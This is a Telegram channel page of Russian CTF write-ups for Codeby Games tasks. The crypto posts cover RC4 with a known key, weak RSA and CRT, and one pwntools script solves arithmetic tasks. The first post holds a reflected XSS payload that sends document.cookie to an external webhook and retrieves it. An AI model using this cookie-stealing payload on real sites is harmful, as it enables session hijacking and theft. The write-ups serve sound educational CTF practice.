Райтапы по CTF{2025}
2.84K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#WEB Клиент всегда прав
Reflected XSS

Ссылка на задание 🚩

От: @exited3n, автор канала @pt_soft


import requests
import json

webhook_api_url = 'https://webhook.link/api/new'

json_hook = json.loads(requests.get(webhook_api_url).text)
webhook_url = json_hook['routes']['webhook']
webhook_inspect_url = json_hook['routes']['inspect'].get('html')
webhook_inspect_json = json_hook['routes']['inspect'].get('api')
webhook = requests.post(f'http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?search=<script>document.location="{webhook_url}?"%2bdocument.cookie</script>')

webhook_data = requests.get(webhook_inspect_url)
webhook_json = json.loads(requests.get(webhook_inspect_json).text)
flag = json.dumps(webhook_json['callbacks'][0]['args']['flag'], indent=4)

print(f'Open URL in your browser: {webhook_inspect_url}')
print(flag)

#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
👍52
Привет кибер-котлеты!

После пхд можно выдохнуть и возвращаться в нормальный режим работы. Кстати, как вам пхд? Пиши в комментах. Вот вам райтапчик по новой таске Codeby

#pwn Имя от @Delinester

Описание от автора и ссылка на таск:
https://skillful-warrior-e87.notion.site/Name-PWN-Writeup-by-Delinester-fd5a8b9206534f95b990b9d50ce51fb5

#codebygames
👍4🔥21
#crypto
Нулевой шифр
От
@Max_RSC (ТОП-10 на платформе Codeby Games)

Ссылка на задание

Для решения таска потребуется уверенный навык программирования на Python. Надеюсь, это понятно.

Сначала заглянем в request.txt. В GET-запросе видим параметр FLAG со значением в виде строки, обернутой в base64:

FLAG=lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==

Скопируем эту строку куда-нибудь — еще пригодится. Про файл request.txt можно забыть, больше он не понадобится.

Идем в sourceCode.txt.
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())

Эта строка сообщает нам о том, что используется алгоритм шифрования RC4, он же ARC4, он же Rivest Cipher 4. По сегодняшним меркам этот алгоритм шифрования считается устаревшим и больше не является криптографически безопасным.
FLAG = '******{***********************************}'.encode()
key = FLAG[:6]

Эти строки сообщают нам о том, что ключ — это первые шесть символов флага. Другими словами, CODEBY.
hashed_key = hashlib.sha256(key).digest()[:16]

Эта строка сообщает нам о том, что ключ хешируется, но для шифрования используются лишь первые 16 байт ключа. Мы получили всю необходимую информацию и теперь можем с легкостью расшифровать флаг. Кстати, не рекомендую делать это посредством онлайн-декодера — скорее всего, у вас ничего не получится, да и необходимости в этом нет. Все что нужно сделать — это лишь немного переписать код. Приступаем:
key = b'CODEBY'
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')

Третью, четвертую и пятую строки можно скопировать из функции без изменений.

Прилагаю скрипт целиком с моими комментариями:
# Подключаем нужные библиотеки (или устанавливаем, если их нет)
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
import hashlib

# Декодируем флаг из base64
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')
# Обратите внимание, что ключ — это байтовая строка
key = b'CODEBY'
# Хешируем ключ, но используем лишь его первые 16 байт
hashed_key = hashlib.sha256(key).digest()[:16]
# Указываем, что хотим использовать алгоритм шифрования ARC4
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())
encryptor = cipher.encryptor()
# Передаем флаг на вход функции, которая производит расшифровку
ct = encryptor.update(FLAG) + encryptor.finalize()
# Печатаем флаг
print(ct)

Выполняем скрипт и получаем флаг.

Рекомендую не бездумно копировать скрипт, а подумать над прочитанным и написать скрипт самостоятельно. Помните, что цель решения таска — это не получить флаг и чуть-чуть подняться в рейтинге, а научиться чему-нибудь новому.

#codebygames
11🔥1
#crypto
Веселый RSA
От @Max_RSC (ТОП-10 на платформе Codeby Games)

Ссылка на задание

Даны три шифртекста, которые представляют собой одно и то же сообщение. Подсказка намекает, что Боб плохо разбирается в RSA, поэтому при шифровании допустил серьезную ошибку. Действительно, мы видим, что вместо стандартной экспоненты e = 65537 он использовал значения 5, 7 и 13, a модули n1, n2 и n3 настолько малы, что с легкостью раскладываются на множители. Это можно назвать критической уязвимостью.

Если мы возьмем первое по счету сообщение и попробуем вычислить приватную экспоненту d, то поймем, что это невозможно:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus

На простом языке это означает, что в процессе шифрования пользователь допустил фатальную ошибку.

Возьмем второе по счету сообщение и попробуем найти приватную экспоненту d – то же самое:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus

Возьмем третье по счету сообщение. Похоже, что это сообщение было зашифровано правильно, а значит, можно вычислить d:
>>> d = pow(e, -1, phi)
>>> d
# 288613

После нахождения d мы с легкостью расшифровываем шифртекст:
>>> message = pow(c, d, n) 

Мы получили трехзначное число, которое, разумеется, я вам не покажу, чтобы вы не жульничали, а решили таск самостоятельно и следовательно, научились чему-нибудь новому.

Считаем от этого числа хеш-сумму по алгоритму SHA256:
>>> from hashlib import sha256
>>> result = sha256(str(message).encode()).hexdigest()

Получившуюся строку обoрачиваем в CODEBY и сдаем флаг.

#codebygames
9🔥2
#криптография
Искусство войны от @exited3n, автора канала @pt_soft
Сложность: легкий
Ссылка на задание


from Crypto.Util.number import long_to_bytes


def inv(a, m):
m0 = m
x0 = 0
x1 = 1

if m == 1:
return 0

while a > 1:
q = a // m
t = m
m = a % m
a = t
t = x0
x0 = x1 - q * x0
x1 = t

if x1 < 0:
x1 = x1 + m0

return x1


def findMinX(num, rem, k):
prod = 1
for i in range(0, k):
prod = prod * num[i]
result = 0

for i in range(0, k):
pp = prod // num[i]
result = result + rem[i] * inv(pp, num[i]) * pp

return result % prod


rem = [7, 4, 9]
num = [17, 23, 37]
k = len(num)
a = findMinX(num, rem, k)
cipher_text = 25183524468752482838730336135334402772668615375346038
flag = cipher_text ^ a

print("a ==", a)
print(long_to_bytes(flag).decode('UTF-8'))


#codebygames
🔥81🤬1
#разное #codeby
Великий математик от @while_not_False (пацана знаю лично, просто настоящая кибер-котлета для своих лет!)
Ссылка на задание


from pwn import remote
import re

print('\033[31m')
host = "62.173.140.174"
port = 10360


def solve_equation(equation):
pattern = r'\((.*?)\)\s*(\w+)\s*([\+\-\*\/])\s*(\w+)\s*=\s*(-?\d+)'
match = re.match(pattern, equation)
if match:
x = match.group(2) # значение после скобок и до оператора
op = match.group(3) # оператор
y = match.group(4) # значение после оператора и до знака равенства
z = int(match.group(5)) # значение после знака равенства

# Пробуем привести x и y к целому числу, если не получится - оставляем как строку
try:
x = int(x)
except:
pass
try:
y = int(y)
except:
pass

if isinstance(x, str):
if op == '+':
result = z - y
elif op == '-':
result = z + y
elif op == '*':
result = z // y
elif op == '/':
result = z * y
else:
return None
elif isinstance(y, str):
if op == '+':
result = z - x
elif op == '-':
result = x - z
elif op == '*':
result = z // x
elif op == '/':
result = x // z
else:
return None
else:
return None
return result
else:
return None


def main():
conn = remote(host, port)
for _ in range(8):
print(conn.recvline().decode())
conn.sendline('start')
for _ in range(3):
print(conn.recvline().decode())
while True:
conn.recvline().decode()
equation = conn.recvline().decode().strip()
if "FLAG" in equation:
print('\033[31m' + f"\n\n{equation}")
break
print('\033[32m' + f"{equation}")
print(conn.recvline().decode())
solution = solve_equation(equation)
if solution is not None:
print('\033[33m' + ">>> " + '\033[34m' + f"{solution}")
conn.sendline(str(solution))
else:
print("Error")
break
conn.close()


if __name__ == "__main__":
main()

#codebygames
🔥6👍1
#WEB Запретный код от @ishanyam

Сложность: Высокая 🔴

🚩 Ссылка на задание

⌨️Ссылка на райтап

#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
1
#crypto #codebygames #writeup

Pайтап по таску Sophie German c Codeby Games от @Max_RSC (ТОП-10 на платформе) 🚩

В описании намекается, что криптограф допустил какую-то серьезную ошибку. Ошибка, о которой идет речь, заключается в том, что он забыл проверить наличие значения n в публичной базе FactorDB. Это означает, что факторы (p и q), произведение которых дало n, уже известны, поэтому решение становится простейшим:

1. Идем на caйт https://dcode.fr/rsa-cipher и вводим значения n, c, e в соответствующие поля.

2. Нажимаем кнопку "CALCULATE/DECRYPT".

После выполнения этих шагов мы получим флаг.
10
🧐 # Навигация и теги для поиска райтапов в канале

1️⃣ прошедшие CTF
#HackOSINT2024, #kubanctf2024, #КубокCTF2024, #RedShift2024, #SpookyCTF2024, #чемпионатпервенство2024, #VolgaCTF_2025 #tctf2025, #КубокCTF2025, #cybercamp2025

2️⃣ CTF платформы
#standoff365, #codebygames, #taipanbyte, #polyctf

3️⃣таски от подписчиков
бот в котором собраны все задачи, где их можно решать и получать баллы: @writeup_ctf_bot
#таск@writeup_ctf

🐱 БОНУС
#рекомендация@writeup_ctf #мемы, #полезное

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

По вопросикам и предложениям пишите мне @freenameruuuu
обнял и жму краба
🦞
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥111